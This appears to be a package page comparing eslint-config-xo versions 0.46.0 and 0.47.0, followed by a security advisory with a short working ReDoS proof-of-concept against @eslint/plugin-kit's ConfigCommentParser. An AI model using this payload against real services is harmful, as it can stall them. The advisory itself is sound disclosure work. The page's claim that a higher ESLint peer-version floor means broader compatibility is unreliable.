Version 0.47.0 of eslint-config-xo brings several noteworthy updates compared to the previous stable version, 0.46.0, enhancing its capabilities as an ESLint shareable configuration for projects using XO. One key difference lies in the updated dependencies. Version 0.47.0 introduces new dependencies: @eslint/css, @eslint/json, and an updated @stylistic/eslint-plugin to version ^4.2.0, implying enhanced support for linting CSS and JSON files directly within your JavaScript projects, and more comprehensive stylistic rules. This enhancement enables developers to maintain code consistency and quality across a broader range of file types. The globals dependency has also been updated to ^16.0.0.
Furthermore, the eslint dependency in devDependencies has been updated to ^9.25.1 in 0.47.0, while 0.46.0 uses ^9.8.0. Most interestingly, the peerDependencies declaration has changed to eslint":">=9.25.0" from eslint":">=9.8.0". These changes suggest a potential shift in the supported ESLint versions, possibly indicating a broader compatibility range for version 0.47.0.
In essence, upgrading to version 0.47.0 offers developers access to newer linting capabilities directly for CSS and JSON, potentially improved stylistic checks and greater compatibility with different ESLint versions. Developers should evaluate the impact of these changes on their existing linting configurations and workflows to ensure a smooth transition.
All the vulnerabilities related to the version 0.47.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.